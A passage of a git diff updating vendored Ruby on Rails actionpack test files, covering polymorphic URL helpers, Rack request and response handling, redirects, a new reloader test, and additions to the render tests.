+    expects(:new_admin_article_url).with()
+    polymorphic_url([:admin, @article], :action => 'new')
+  end
 
-    def test_unsaved_with_array_and_namespace
-      expects(:admin_articles_url).with()
-      polymorphic_url([:admin, @article])
-    end
+  def test_unsaved_with_array_and_namespace
+    expects(:admin_articles_url).with()
+    polymorphic_url([:admin, @article])
+  end
 
-    def test_nested_unsaved_with_array_and_namespace
-      @article.save
-      expects(:admin_article_url).with(@article)
-      polymorphic_url([:admin, @article])
-      expects(:admin_article_responses_url).with(@article)
-      polymorphic_url([:admin, @article, @response])
-    end
+  def test_nested_unsaved_with_array_and_namespace
+    @article.save
+    expects(:admin_article_url).with(@article)
+    polymorphic_url([:admin, @article])
+    expects(:admin_article_responses_url).with(@article)
+    polymorphic_url([:admin, @article, @response])
+  end
 
-    def test_nested_with_array_and_namespace
-      @response.save
-      expects(:admin_article_response_url).with(@article, @response)
-      polymorphic_url([:admin, @article, @response])
+  def test_nested_with_array_and_namespace
+    @response.save
+    expects(:admin_article_response_url).with(@article, @response)
+    polymorphic_url([:admin, @article, @response])
 
-      # a ridiculously long named route tests correct ordering of namespaces and nesting:
-      @tag = Tag.new
-      @tag.save
-      expects(:site_admin_article_response_tag_url).with(@article, @response, @tag)
-      polymorphic_url([:site, :admin, @article, @response, @tag])
-    end
+    # a ridiculously long named route tests correct ordering of namespaces and nesting:
+    @tag = Tag.new
+    @tag.save
+    expects(:site_admin_article_response_tag_url).with(@article, @response, @tag)
+    polymorphic_url([:site, :admin, @article, @response, @tag])
+  end
 
-    def test_nesting_with_array_ending_in_singleton_resource
-      expects(:article_response_url).with(@article)
-      polymorphic_url([@article, :response])
-    end
+  def test_nesting_with_array_ending_in_singleton_resource
+    expects(:article_response_url).with(@article)
+    polymorphic_url([@article, :response])
+  end
 
-    def test_nesting_with_array_containing_singleton_resource
-      @tag = Tag.new
-      @tag.save
-      expects(:article_response_tag_url).with(@article, @tag)
-      polymorphic_url([@article, :response, @tag])
-    end
+  def test_nesting_with_array_containing_singleton_resource
+    @tag = Tag.new
+    @tag.save
+    expects(:article_response_tag_url).with(@article, @tag)
+    polymorphic_url([@article, :response, @tag])
+  end
 
-    def test_nesting_with_array_containing_namespace_and_singleton_resource
-      @tag = Tag.new
-      @tag.save
-      expects(:admin_article_response_tag_url).with(@article, @tag)
-      polymorphic_url([:admin, @article, :response, @tag])
-    end
+  def test_nesting_with_array_containing_namespace_and_singleton_resource
+    @tag = Tag.new
+    @tag.save
+    expects(:admin_article_response_tag_url).with(@article, @tag)
+    polymorphic_url([:admin, @article, :response, @tag])
+  end
 
-    def test_nesting_with_array_containing_singleton_resource_and_format
-      @tag = Tag.new
-      @tag.save
-      expects(:formatted_article_response_tag_url).with(@article, @tag, :pdf)
-      formatted_polymorphic_url([@article, :response, @tag, :pdf])
-    end
+  def test_nesting_with_array_containing_singleton_resource_and_format
+    @tag = Tag.new
+    @tag.save
+    expects(:article_response_tag_url).with(@article, @tag, :format => :pdf)
+    polymorphic_url([@article, :response, @tag], :format => :pdf)
+  end
 
-    def test_nesting_with_array_containing_singleton_resource_and_format_option
-      @tag = Tag.new
-      @tag.save
-      expects(:formatted_article_response_tag_url).with(@article, @tag, :pdf)
-      polymorphic_url([@article, :response, @tag], :format => :pdf)
-    end
+  def test_nesting_with_array_containing_singleton_resource_and_format_option
+    @tag = Tag.new
+    @tag.save
+    expects(:article_response_tag_url).with(@article, @tag, :format => :pdf)
+    polymorphic_url([@article, :response, @tag], :format => :pdf)
+  end
 
-    def test_nesting_with_array_containing_nil
-      expects(:article_response_url).with(@article)
-      polymorphic_url([@article, nil, :response])
-    end
+  def test_nesting_with_array_containing_nil
+    expects(:article_response_url).with(@article)
+    polymorphic_url([@article, nil, :response])
+  end
 
-    def test_with_array_containing_single_object
-      @article.save
-      expects(:article_url).with(@article)
-      polymorphic_url([nil, @article])
-    end
+  def test_with_array_containing_single_object
+    @article.save
+    expects(:article_url).with(@article)
+    polymorphic_url([nil, @article])
+  end
 
-    def test_with_array_containing_single_name
-      @article.save
-      expects(:articles_url)
-      polymorphic_url([:articles])
-    end
+  def test_with_array_containing_single_name
+    @article.save
+    expects(:articles_url)
+    polymorphic_url([:articles])
+  end
 
-    # TODO: Needs to be updated to correctly know about whether the object is in a hash or not
-    def xtest_with_hash
-      expects(:article_url).with(@article)
-      @article.save
-      polymorphic_url(:id => @article)
-    end
+  # TODO: Needs to be updated to correctly know about whether the object is in a hash or not
+  def xtest_with_hash
+    expects(:article_url).with(@article)
+    @article.save
+    polymorphic_url(:id => @article)
+  end
 
-    def test_polymorphic_path_accepts_options
-      expects(:new_article_path).with()
-      polymorphic_path(@article, :action => :new)
-    end
+  def test_polymorphic_path_accepts_options
+    expects(:new_article_path).with()
+    polymorphic_path(@article, :action => :new)
+  end
 
-    def test_polymorphic_path_does_not_modify_arguments
-      expects(:admin_article_responses_url).with(@article)
-      path = [:admin, @article, @response]
-      assert_no_difference 'path.size' do
-        polymorphic_url(path)
-      end
+  def test_polymorphic_path_does_not_modify_arguments
+    expects(:admin_article_responses_url).with(@article)
+    path = [:admin, @article, @response]
+    assert_no_difference 'path.size' do
+      polymorphic_url(path)
     end
   end
+
+  # Tests for names where .plural.singular doesn't round-trip
+  def test_with_irregular_plural_record
+    @tax.save
+    expects(:taxis_url).with(@tax)
+    polymorphic_url(@tax)
+  end
+
+  def test_with_irregular_plural_new_record
+    expects(:taxes_url).with()
+    @tax.expects(:new_record?).returns(true)
+    polymorphic_url(@tax)
+  end
+
+  def test_with_irregular_plural_record_and_action
+    expects(:new_taxis_url).with()
+    @tax.expects(:new_record?).never
+    polymorphic_url(@tax, :action => 'new')
+  end
+
+  def test_irregular_plural_url_helper_prefixed_with_new
+    expects(:new_taxis_url).with()
+    new_polymorphic_url(@tax)
+  end
+
+  def test_irregular_plural_url_helper_prefixed_with_edit
+    @tax.save
+    expects(:edit_taxis_url).with(@tax)
+    edit_polymorphic_url(@tax)
+  end
+
+  def test_with_nested_irregular_plurals
+    @fax.save
+    expects(:taxis_faxis_url).with(@tax, @fax)
+    polymorphic_url([@tax, @fax])
+  end
+
+  def test_with_nested_unsaved_irregular_plurals
+    expects(:taxis_faxes_url).with(@tax)
+    polymorphic_url([@tax, @fax])
+  end
+
+  def test_new_with_irregular_plural_array_and_namespace
+    expects(:new_admin_taxis_url).with()
+    polymorphic_url([:admin, @tax], :action => 'new')
+  end
+
+  def test_unsaved_with_irregular_plural_array_and_namespace
+    expects(:admin_taxes_url).with()
+    polymorphic_url([:admin, @tax])
+  end
+
+  def test_nesting_with_irregular_plurals_and_array_ending_in_singleton_resource
+    expects(:taxis_faxis_url).with(@tax)
+    polymorphic_url([@tax, :faxis])
+  end
+
+  def test_with_array_containing_single_irregular_plural_object
+    @tax.save
+    expects(:taxis_url).with(@tax)
+    polymorphic_url([nil, @tax])
+  end
+
+  def test_with_array_containing_single_name_irregular_plural
+    @tax.save
+    expects(:taxes_url)
+    polymorphic_url([:taxes])
+  end
+
+  def test_with_array_containing_symbols
+    expects(:new_article_url).with()
+    polymorphic_url([:new, :article])
+  end
 end
diff --git a/vendor/rails/actionpack/test/controller/rack_test.rb b/vendor/rails/actionpack/test/controller/rack_test.rb
index d5e56b95..aeace2b8 100644
--- a/vendor/rails/actionpack/test/controller/rack_test.rb
+++ b/vendor/rails/actionpack/test/controller/rack_test.rb
@@ -1,11 +1,10 @@
 require 'abstract_unit'
-require 'action_controller/rack_process'
 
-class BaseRackTest < Test::Unit::TestCase
+class BaseRackTest < ActiveSupport::TestCase
   def setup
     @env = {
       "HTTP_MAX_FORWARDS" => "10",
-      "SERVER_NAME" => "glu.ttono.us:8007",
+      "SERVER_NAME" => "glu.ttono.us",
       "FCGI_ROLE" => "RESPONDER",
       "AUTH_TYPE" => "Basic",
       "HTTP_X_FORWARDED_HOST" => "glu.ttono.us",
@@ -44,10 +43,10 @@ class BaseRackTest < Test::Unit::TestCase
       "REDIRECT_STATUS" => "200",
       "REQUEST_METHOD" => "GET"
     }
-    @request = ActionController::RackRequest.new(@env)
+    @request = ActionController::Request.new(@env)
     # some Nokia phone browsers omit the space after the semicolon separator.
     # some developers have grown accustomed to using comma in cookie values.
-    @alt_cookie_fmt_request = ActionController::RackRequest.new(@env.merge({"HTTP_COOKIE"=>"_session_id=c84ace847,96670c052c6ceb2451fb0f2;is_admin=yes"}))
+    @alt_cookie_fmt_request = ActionController::Request.new(@env.merge({"HTTP_COOKIE"=>"_session_id=c84ace847,96670c052c6ceb2451fb0f2;is_admin=yes"}))
   end
 
   def default_test; end
@@ -58,67 +57,67 @@ class BaseRackTest < Test::Unit::TestCase
     @request.env['REQUEST_METHOD'] = 'POST'
     @request.env['CONTENT_LENGTH'] = data.length
     @request.env['CONTENT_TYPE'] = 'application/x-www-form-urlencoded; charset=utf-8'
-    @request.env['RAW_POST_DATA'] = data
+    @request.env['rack.input'] = StringIO.new(data)
   end
 end
 
 class RackRequestTest < BaseRackTest
   def test_proxy_request
-    assert_equal 'glu.ttono.us', @request.host_with_port(true)
+    assert_equal 'glu.ttono.us', @request.host_with_port
   end
 
   def test_http_host
     @env.delete "HTTP_X_FORWARDED_HOST"
     @env['HTTP_HOST'] = "rubyonrails.org:8080"
-    assert_equal "rubyonrails.org", @request.host(true)
-    assert_equal "rubyonrails.org:8080", @request.host_with_port(true)
+    assert_equal "rubyonrails.org", @request.host
+    assert_equal "rubyonrails.org:8080", @request.host_with_port
 
     @env['HTTP_X_FORWARDED_HOST'] = "www.firsthost.org, www.secondhost.org"
-    assert_equal "www.secondhost.org", @request.host(true)
+    assert_equal "www.secondhost.org", @request.host
   end
 
   def test_http_host_with_default_port_overrides_server_port
     @env.delete "HTTP_X_FORWARDED_HOST"
     @env['HTTP_HOST'] = "rubyonrails.org"
-    assert_equal "rubyonrails.org", @request.host_with_port(true)
+    assert_equal "rubyonrails.org", @request.host_with_port
   end
 
   def test_host_with_port_defaults_to_server_name_if_no_host_headers
     @env.delete "HTTP_X_FORWARDED_HOST"
     @env.delete "HTTP_HOST"
-    assert_equal "glu.ttono.us:8007", @request.host_with_port(true)
+    assert_equal "glu.ttono.us:8007", @request.host_with_port
   end
 
   def test_host_with_port_falls_back_to_server_addr_if_necessary
     @env.delete "HTTP_X_FORWARDED_HOST"
     @env.delete "HTTP_HOST"
     @env.delete "SERVER_NAME"
-    assert_equal "207.7.108.53", @request.host(true)
-    assert_equal 8007, @request.port(true)
-    assert_equal "207.7.108.53:8007", @request.host_with_port(true)
+    assert_equal "207.7.108.53", @request.host
+    assert_equal 8007, @request.port
+    assert_equal "207.7.108.53:8007", @request.host_with_port
   end
 
   def test_host_with_port_if_http_standard_port_is_specified
     @env['HTTP_X_FORWARDED_HOST'] = "glu.ttono.us:80"
-    assert_equal "glu.ttono.us", @request.host_with_port(true)
+    assert_equal "glu.ttono.us", @request.host_with_port
   end
 
   def test_host_with_port_if_https_standard_port_is_specified
     @env['HTTP_X_FORWARDED_PROTO'] = "https"
     @env['HTTP_X_FORWARDED_HOST'] = "glu.ttono.us:443"
-    assert_equal "glu.ttono.us", @request.host_with_port(true)
+    assert_equal "glu.ttono.us", @request.host_with_port
   end
 
   def test_host_if_ipv6_reference
     @env.delete "HTTP_X_FORWARDED_HOST"
     @env['HTTP_HOST'] = "[2001:1234:5678:9abc:def0::dead:beef]"
-    assert_equal "[2001:1234:5678:9abc:def0::dead:beef]", @request.host(true)
+    assert_equal "[2001:1234:5678:9abc:def0::dead:beef]", @request.host
   end
 
   def test_host_if_ipv6_reference_with_port
     @env.delete "HTTP_X_FORWARDED_HOST"
     @env['HTTP_HOST'] = "[2001:1234:5678:9abc:def0::dead:beef]:8008"
-    assert_equal "[2001:1234:5678:9abc:def0::dead:beef]", @request.host(true)
+    assert_equal "[2001:1234:5678:9abc:def0::dead:beef]", @request.host
   end
 
   def test_cgi_environment_variables
@@ -146,7 +145,7 @@ class RackRequestTest < BaseRackTest
     assert_equal "kevin", @request.remote_user
     assert_equal :get, @request.request_method
     assert_equal "/dispatch.fcgi", @request.script_name
-    assert_equal "glu.ttono.us:8007", @request.server_name
+    assert_equal "glu.ttono.us", @request.server_name
     assert_equal 8007, @request.server_port
     assert_equal "HTTP/1.1", @request.server_protocol
     assert_equal "lighttpd", @request.server_software
@@ -154,12 +153,12 @@ class RackRequestTest < BaseRackTest
 
   def test_cookie_syntax_resilience
     cookies = @request.cookies
-    assert_equal ["c84ace84796670c052c6ceb2451fb0f2"], cookies["_session_id"], cookies.inspect
-    assert_equal ["yes"], cookies["is_admin"], cookies.inspect
+    assert_equal "c84ace84796670c052c6ceb2451fb0f2", cookies["_session_id"], cookies.inspect
+    assert_equal "yes", cookies["is_admin"], cookies.inspect
 
     alt_cookies = @alt_cookie_fmt_request.cookies
-    assert_equal ["c84ace847,96670c052c6ceb2451fb0f2"], alt_cookies["_session_id"], alt_cookies.inspect
-    assert_equal ["yes"], alt_cookies["is_admin"], alt_cookies.inspect
+    #assert_equal "c84ace847,96670c052c6ceb2451fb0f2", alt_cookies["_session_id"], alt_cookies.inspect
+    assert_equal "yes", alt_cookies["is_admin"], alt_cookies.inspect
   end
 end
 
@@ -188,29 +187,6 @@ class RackRequestContentTypeTest < BaseRackTest
   end
 end
 
-class RackRequestMethodTest < BaseRackTest
-  def test_get
-    assert_equal :get, @request.request_method
-  end
-
-  def test_post
-    @request.env['REQUEST_METHOD'] = 'POST'
-    assert_equal :post, @request.request_method
-  end
-
-  def test_put
-    set_content_data '_method=put'
-
-    assert_equal :put, @request.request_method
-  end
-
-  def test_delete
-    set_content_data '_method=delete'
-
-    assert_equal :delete, @request.request_method
-  end
-end
-
 class RackRequestNeedsRewoundTest < BaseRackTest
   def test_body_should_be_rewound
     data = 'foo'
@@ -219,7 +195,7 @@ class RackRequestNeedsRewoundTest < BaseRackTest
     @env['CONTENT_TYPE'] = 'application/x-www-form-urlencoded; charset=utf-8'
 
     # Read the request body by parsing params.
-    request = ActionController::RackRequest.new(@env)
+    request = ActionController::Request.new(@env)
     request.request_parameters
 
     # Should have rewound the body.
@@ -230,21 +206,20 @@ end
 class RackResponseTest < BaseRackTest
   def setup
     super
-    @response = ActionController::RackResponse.new(@request)
-    @output = StringIO.new('')
+    @response = ActionController::Response.new
   end
 
   def test_simple_output
     @response.body = "Hello, World!"
     @response.prepare!
 
-    status, headers, body = @response.out(@output)
-    assert_equal "200 OK", status
+    status, headers, body = @response.to_a
+    assert_equal 200, status
     assert_equal({
       "Content-Type" => "text/html; charset=utf-8",
       "Cache-Control" => "private, max-age=0, must-revalidate",
       "ETag" => '"65a8e27d8879283831b664bd8b7f0ad4"',
-      "Set-Cookie" => [],
+      "Set-Cookie" => "",
       "Content-Length" => "13"
     }, headers)
 
@@ -253,60 +228,73 @@ class RackResponseTest < BaseRackTest
     assert_equal ["Hello, World!"], parts
   end
 
+  def test_utf8_output
+    @response.body = [1090, 1077, 1089, 1090].pack("U*")
+    @response.prepare!
+
+    status, headers, body = @response.to_a
+    assert_equal 200, status
+    assert_equal({
+      "Content-Type" => "text/html; charset=utf-8",
+      "Cache-Control" => "private, max-age=0, must-revalidate",
+      "ETag" => '"ebb5e89e8a94e9dd22abf5d915d112b2"',
+      "Set-Cookie" => "",
+      "Content-Length" => "8"
+    }, headers)
+  end
+
   def test_streaming_block
     @response.body = Proc.new do |response, output|
       5.times { |n| output.write(n) }
     end
     @response.prepare!
 
-    status, headers, body = @response.out(@output)
-    assert_equal "200 OK", status
-    assert_equal({"Content-Type" => "text/html; charset=utf-8", "Cache-Control" => "no-cache", "Set-Cookie" => []}, headers)
+    status, headers, body = @response.to_a
+    assert_equal 200, status
+    assert_equal({
+      "Content-Type" => "text/html; charset=utf-8",
+      "Cache-Control" => "no-cache",
+      "Set-Cookie" => ""
+    }, headers)
 
     parts = []
     body.each { |part| parts << part }
     assert_equal ["0", "1", "2", "3", "4"], parts
   end
 
-  def test_set_session_cookie
-    cookie = CGI::Cookie.new({"name" => "name", "value" => "Josh"})
-    @request.cgi.send :instance_variable_set, '@output_cookies', [cookie]
+  def test_streaming_block_with_flush_is_deprecated
+    @response.body = Proc.new do |response, output|
+      5.times do |n|
+        output.write(n)
+        output.flush
+      end
+    end
 
-    @response.body = "Hello, World!"
-    @response.prepare!
+    assert_deprecated(/output.flush is no longer needed/) do
+      @response.prepare!
+      status, headers, body = @response.to_a
 
-    status, headers, body = @response.out(@output)
-    assert_equal "200 OK", status
-    assert_equal({
-      "Content-Type" => "text/html; charset=utf-8",
-      "Cache-Control" => "private, max-age=0, must-revalidate",
-      "ETag" => '"65a8e27d8879283831b664bd8b7f0ad4"',
-      "Set-Cookie" => ["name=Josh; path="],
-      "Content-Length" => "13"
-    }, headers)
-
-    parts = []
-    body.each { |part| parts << part }
-    assert_equal ["Hello, World!"], parts
+      parts = []
+      body.each { |part| parts << part }
+    end
   end
 end
 
 class RackResponseHeadersTest < BaseRackTest
   def setup
     super
-    @response = ActionController::RackResponse.new(@request)
-    @output = StringIO.new('')
-    @response.headers['Status'] = "200 OK"
+    @response = ActionController::Response.new
+    @response.status = "200 OK"
   end
 
   def test_content_type
     [204, 304].each do |c|
-      @response.headers['Status'] = c.to_s
+      @response.status = c.to_s
       assert !response_headers.has_key?("Content-Type"), "#{c} should not have Content-Type header"
     end
 
     [200, 302, 404, 500].each do |c|
-      @response.headers['Status'] = c.to_s
+      @response.status = c.to_s
       assert response_headers.has_key?("Content-Type"), "#{c} did not have Content-Type header"
     end
   end
@@ -318,6 +306,6 @@ class RackResponseHeadersTest < BaseRackTest
   private
     def response_headers
       @response.prepare!
-      @response.out(@output)[1]
+      @response.to_a[1]
     end
 end
diff --git a/vendor/rails/actionpack/test/controller/redirect_test.rb b/vendor/rails/actionpack/test/controller/redirect_test.rb
index c55307d6..e80502b6 100644
--- a/vendor/rails/actionpack/test/controller/redirect_test.rb
+++ b/vendor/rails/actionpack/test/controller/redirect_test.rb
@@ -103,12 +103,8 @@ class RedirectController < ActionController::Base
     end
 end
 
-class RedirectTest < Test::Unit::TestCase
-  def setup
-    @controller = RedirectController.new
-    @request    = ActionController::TestRequest.new
-    @response   = ActionController::TestResponse.new
-  end
+class RedirectTest < ActionController::TestCase
+  tests RedirectController
 
   def test_simple_redirect
     get :simple_redirect
@@ -216,7 +212,7 @@ class RedirectTest < Test::Unit::TestCase
   end
 
   def test_redirect_to_back_with_no_referer
-    assert_raises(ActionController::RedirectBackError) {
+    assert_raise(ActionController::RedirectBackError) {
       @request.env["HTTP_REFERER"] = nil
       get :redirect_to_back
     }
@@ -239,11 +235,14 @@ class RedirectTest < Test::Unit::TestCase
 
   def test_redirect_with_partial_params
     get :module_redirect
-    assert_redirected_to :action => 'hello_world'
+
+    assert_deprecated(/test_redirect_with_partial_params/) do
+      assert_redirected_to :action => 'hello_world'
+    end
   end
 
   def test_redirect_to_nil
-    assert_raises(ActionController::ActionControllerError) do
+    assert_raise(ActionController::ActionControllerError) do
       get :redirect_to_nil
     end
   end
@@ -256,12 +255,8 @@ module ModuleTest
     end
   end
 
-  class ModuleRedirectTest < Test::Unit::TestCase
-    def setup
-      @controller = ModuleRedirectController.new
-      @request    = ActionController::TestRequest.new
-      @response   = ActionController::TestResponse.new
-    end
+  class ModuleRedirectTest < ActionController::TestCase
+    tests ModuleRedirectController
 
     def test_simple_redirect
       get :simple_redirect
diff --git a/vendor/rails/actionpack/test/controller/reloader_test.rb b/vendor/rails/actionpack/test/controller/reloader_test.rb
new file mode 100644
index 00000000..e5305493
--- /dev/null
+++ b/vendor/rails/actionpack/test/controller/reloader_test.rb
@@ -0,0 +1,124 @@
+require 'abstract_unit'
+
+class ReloaderTests < ActiveSupport::TestCase
+  Reloader   = ActionController::Reloader
+  Dispatcher = ActionController::Dispatcher
+
+  class MyBody < Array
+    def initialize(&block)
+      @on_close = block
+    end
+
+    def foo
+      "foo"
+    end
+
+    def bar
+      "bar"
+    end
+
+    def close
+      @on_close.call if @on_close
+    end
+  end
+
+  def setup
+    @lock = Mutex.new
+  end
+
+  def test_it_reloads_the_application_before_yielding
+    Dispatcher.expects(:reload_application)
+    Reloader.run(@lock) do
+      [200, { "Content-Type" => "text/html" }, [""]]
+    end
+  end
+
+  def test_it_locks_before_yielding
+    lock = DummyMutex.new
+    Dispatcher.expects(:reload_application)
+    Reloader.run(lock) do
+      assert lock.locked?
+      [200, { "Content-Type" => "text/html" }, [""]]
+    end
+    assert lock.locked?
+  end
+
+  def test_it_unlocks_upon_calling_close_on_body
+    lock = DummyMutex.new
+    Dispatcher.expects(:reload_application)
+    headers, status, body = Reloader.run(lock) do
+      [200, { "Content-Type" => "text/html" }, [""]]
+    end
+    body.close
+    assert !lock.locked?
+  end
+
+  def test_it_unlocks_if_app_object_raises_exception
+    lock = DummyMutex.new
+    Dispatcher.expects(:reload_application)
+    assert_raise(RuntimeError) do
+      Reloader.run(lock) do
+        raise "oh no!"
+      end
+    end
+    assert !lock.locked?
+  end
+
+  def test_returned_body_object_always_responds_to_close
+    status, headers, body = Reloader.run(@lock) do
+      [200, { "Content-Type" => "text/html" }, [""]]
+    end
+    assert body.respond_to?(:close)
+  end
+
+  def test_returned_body_object_behaves_like_underlying_object
+    status, headers, body = Reloader.run(@lock) do
+      b = MyBody.new
+      b << "hello"
+      b << "world"
+      [200, { "Content-Type" => "text/html" }, b]
+    end
+    assert_equal 2, body.size
+    assert_equal "hello", body[0]
+    assert_equal "world", body[1]
+    assert_equal "foo", body.foo
+    assert_equal "bar", body.bar
+  end
+
+  def test_it_calls_close_on_underlying_object_when_close_is_called_on_body
+    close_called = false
+    status, headers, body = Reloader.run(@lock) do
+      b = MyBody.new do
+        close_called = true
+      end
+      [200, { "Content-Type" => "text/html" }, b]
+    end
+    body.close
+    assert close_called
+  end
+
+  def test_returned_body_object_responds_to_all_methods_supported_by_underlying_object
+    status, headers, body = Reloader.run(@lock) do
+      [200, { "Content-Type" => "text/html" }, MyBody.new]
+    end
+    assert body.respond_to?(:size)
+    assert body.respond_to?(:each)
+    assert body.respond_to?(:foo)
+    assert body.respond_to?(:bar)
+  end
+
+  def test_it_doesnt_clean_up_the_application_after_call
+    Dispatcher.expects(:cleanup_application).never
+    status, headers, body = Reloader.run(@lock) do
+      [200, { "Content-Type" => "text/html" }, MyBody.new]
+    end
+  end
+
+  def test_it_cleans_up_the_application_when_close_is_called_on_body
+    Dispatcher.expects(:cleanup_application)
+    status, headers, body = Reloader.run(@lock) do
+      [200, { "Content-Type" => "text/html" }, MyBody.new]
+    end
+    body.close
+  end
+end
diff --git a/vendor/rails/actionpack/test/controller/render_test.rb b/vendor/rails/actionpack/test/controller/render_test.rb
index 9bbffd8c..112e9efc 100644
--- a/vendor/rails/actionpack/test/controller/render_test.rb
+++ b/vendor/rails/actionpack/test/controller/render_test.rb
@@ -21,6 +21,8 @@ class MockLogger
 end
 
 class TestController < ActionController::Base
+  protect_from_forgery
+
   class LabellingFormBuilder < ActionView::Helpers::FormBuilder
   end
 
@@ -34,6 +36,39 @@ class TestController < ActionController::Base
       render :action => 'hello_world'
     end
   end
+  
+  def conditional_hello_with_public_header
+    if stale?(:last_modified => Time.now.utc.beginning_of_day, :etag => [:foo, 123], :public => true)
+      render :action => 'hello_world'
+    end
+  end
+  
+  def conditional_hello_with_public_header_and_expires_at
+    expires_in 1.minute
+    if stale?(:last_modified => Time.now.utc.beginning_of_day, :etag => [:foo, 123], :public => true)
+      render :action => 'hello_world'
+    end
+  end
+  
+  def conditional_hello_with_expires_in
+    expires_in 1.minute
+    render :action => 'hello_world'
+  end
+  
+  def conditional_hello_with_expires_in_with_public
+    expires_in 1.minute, :public => true
+    render :action => 'hello_world'
+  end
+  
+  def conditional_hello_with_expires_in_with_public_with_more_keys
+    expires_in 1.minute, :public => true, 'max-stale' => 5.hours
+    render :action => 'hello_world'
+  end
+  
+  def conditional_hello_with_expires_in_with_public_with_more_keys_old_syntax
+    expires_in 1.minute, :public => true, :private => nil, 'max-stale' => 5.hours
+    render :action => 'hello_world'
+  end
 
   def conditional_hello_with_bangs
     render :action => 'hello_world'
@@ -79,6 +114,10 @@ class TestController < ActionController::Base
     render :action => "hello_world"
   end
 
+  def render_action_hello_world_as_string
+    render "hello_world"
+  end
+
   def render_action_hello_world_with_symbol
     render :action => :hello_world
   end
@@ -102,6 +141,12 @@ class TestController < ActionController::Base
     render :file => path
   end
 
+  def render_file_as_string_with_instance_variables
+    @secret = 'in the sauce'
+    path = File.expand_path(File.join(File.dirname(__FILE__), '../fixtures/test/render_file_with_ivar.erb'))
+    render path
+  end
+
   def render_file_not_using_full_path
     @secret = 'in the sauce'
     render :file => 'test/render_file_with_ivar'
@@ -112,6 +157,11 @@ class TestController < ActionController::Base
     render :file => 'test/dot.directory/render_file_with_ivar'
   end
 
+  def render_file_using_pathname
+    @secret = 'in the sauce'
+    render :file => Pathname.new(File.dirname(__FILE__)).join('..', 'fixtures', 'test', 'dot.directory', 'render_file_with_ivar.erb')
+  end
+
   def render_file_from_template
     @secret = 'in the sauce'
     @path = File.expand_path(File.join(File.dirname(__FILE__), '../fixtures/test/render_file_with_ivar.erb'))
@@ -122,6 +172,11 @@ class TestController < ActionController::Base
     render :file => path, :locals => {:secret => 'in the sauce'}
   end
 
+  def render_file_as_string_with_locals
+    path = File.expand_path(File.join(File.dirname(__FILE__), '../fixtures/test/render_file_with_locals.erb'))
+    render path, :locals => {:secret => 'in the sauce'}
+  end
+
   def accessing_request_in_template
     render :inline =>  "Hello: <%= request.host %>"
   end
@@ -138,20 +193,24 @@ class TestController < ActionController::Base
     render :inline =>  "<%= controller_name %>"
   end
 
+  def render_json_nil
+    render :json => nil
+  end
+
   def render_json_hello_world
-    render :json => {:hello => 'world'}.to_json
+    render :json => ActiveSupport::JSON.encode(:hello => 'world')
   end
 
   def render_json_hello_world_with_callback
-    render :json => {:hello => 'world'}.to_json, :callback => 'alert'
+    render :json => ActiveSupport::JSON.encode(:hello => 'world'), :callback => 'alert'
   end
 
   def render_json_with_custom_content_type
-    render :json => {:hello => 'world'}.to_json, :content_type => 'text/javascript'
+    render :json => ActiveSupport::JSON.encode(:hello => 'world'), :content_type => 'text/javascript'
   end
 
   def render_symbol_json
-    render :json => {:hello => 'world'}.to_json
+    render :json => ActiveSupport::JSON.encode(:hello => 'world')
   end
 
   def render_json_with_render_to_string
@@ -180,10 +239,6 @@ class TestController < ActionController::Base
     render :text => "appended"
   end
 
-  def render_invalid_args
-    render("test/hello")
-  end
-
   def render_vanilla_js_hello
     render :js => "alert('hello')"
   end
@@ -193,6 +248,11 @@ class TestController < ActionController::Base
     render :template => "test/hello"
   end
 
+  def render_xml_hello_as_string_template
+    @name = "David"
+    render "test/hello"
+  end
+
   def render_xml_with_custom_content_type
     render :xml => "<blah/>", :content_type => "application/atomsvc+xml"
   end
@@ -209,6 +269,10 @@ class TestController < ActionController::Base
     # let's just rely on the template
   end
 
+  def blank_response
+    render :text => ' '
+  end
+
   def layout_test
     render :action => "hello_world"
   end
@@ -246,13 +310,20 @@ class TestController < ActionController::Base
            :locals => { :local_name => name }
   end
 
-  def helper_method_to_render_to_string(*args)
-    render_to_string(*args)
+  def render_implicit_html_template
   end
-  helper_method :helper_method_to_render_to_string
 
-  def render_html_only_partial_within_inline
-    render :inline => "Hello world <%= helper_method_to_render_to_string :partial => 'test/partial_with_only_html_version' %>"
+  def render_explicit_html_template
+  end
+
+  def render_implicit_html_template_from_xhr_request
+  end
+
+  def render_implicit_js_template_without_layout
+  end
+
+  def render_html_explicit_template_and_layout
+    render :template => 'test/render_implicit_html_template_from_xhr_request', :layout => 'layouts/default_html'
   end
 
   def formatted_html_erb
@@ -281,6 +352,14 @@ class TestController < ActionController::Base
     render :action => "hello_world", :layout => "standard"
   end
 
+  def layout_test_with_different_layout_and_string_action
+    render "hello_world", :layout => "standard"
+  end
+
+  def layout_test_with_different_layout_and_symbol_action
+    render :hello_world, :layout => "standard"
+  end
+
   def rendering_without_layout
     render :action => "hello_world", :layout => false
   end
@@ -322,6 +401,10 @@ class TestController < ActionController::Base
     render :template => "test/hello_world"
   end
 
+  def render_with_explicit_string_template
+    render "test/hello_world"
+  end
+
   def render_with_explicit_template_with_locals
     render :template => "test/render_file_with_locals", :locals => { :secret => 'area51' }
   end
@@ -608,6 +691,14 @@ class TestController < ActionController::Base
     render :partial => "hash_object", :object => {:first_name => "Sam"}
   end
 
+  def partial_with_nested_object
+    render :partial => "quiz/questions/question", :object => Quiz::Question.new("first")
+  end
+
+  def partial_with_nested_object_shorthand
+    render Quiz::Question.new("first")
+  end
+
   def partial_hash_collection
     render :partial => "hash_object", :collection => [ {:first_name => "Pratik"}, {:first_name => "Amy"} ]
   end
@@ -644,23 +735,26 @@ class TestController < ActionController::Base
              "accessing_params_in_template",
              "accessing_params_in_template_with_layout",
              "render_with_explicit_template",
+             "render_with_explicit_string_template",
              "render_js_with_explicit_template",
              "render_js_with_explicit_action_template",
              "delete_with_js", "update_page", "update_page_with_instance_variables"
 
           "layouts/standard"
+        when "render_implicit_js_template_without_layout"
+          "layouts/default_html"
         when "action_talk_to_layout", "layout_overriding_layout"
           "layouts/talk_from_action"
+        when "render_implicit_html_template_from_xhr_request"
+          (request.xhr? ? 'layouts/xhr' : 'layouts/standard')
       end
     end
 end
 
-class RenderTest < Test::Unit::TestCase
-  def setup
-    @request    = ActionController::TestRequest.new
-    @response   = ActionController::TestResponse.new
-    @controller = TestController.new
+class RenderTest < ActionController::TestCase
+  tests TestController
 
+  def setup
     # enable a logger so that (e.g.) the benchmarking stuff runs, so we can get
     # a more accurate simulation of what happens in "real life".
     @controller.logger = Logger.new(nil)
@@ -725,6 +819,12 @@ class RenderTest < Test::Unit::TestCase
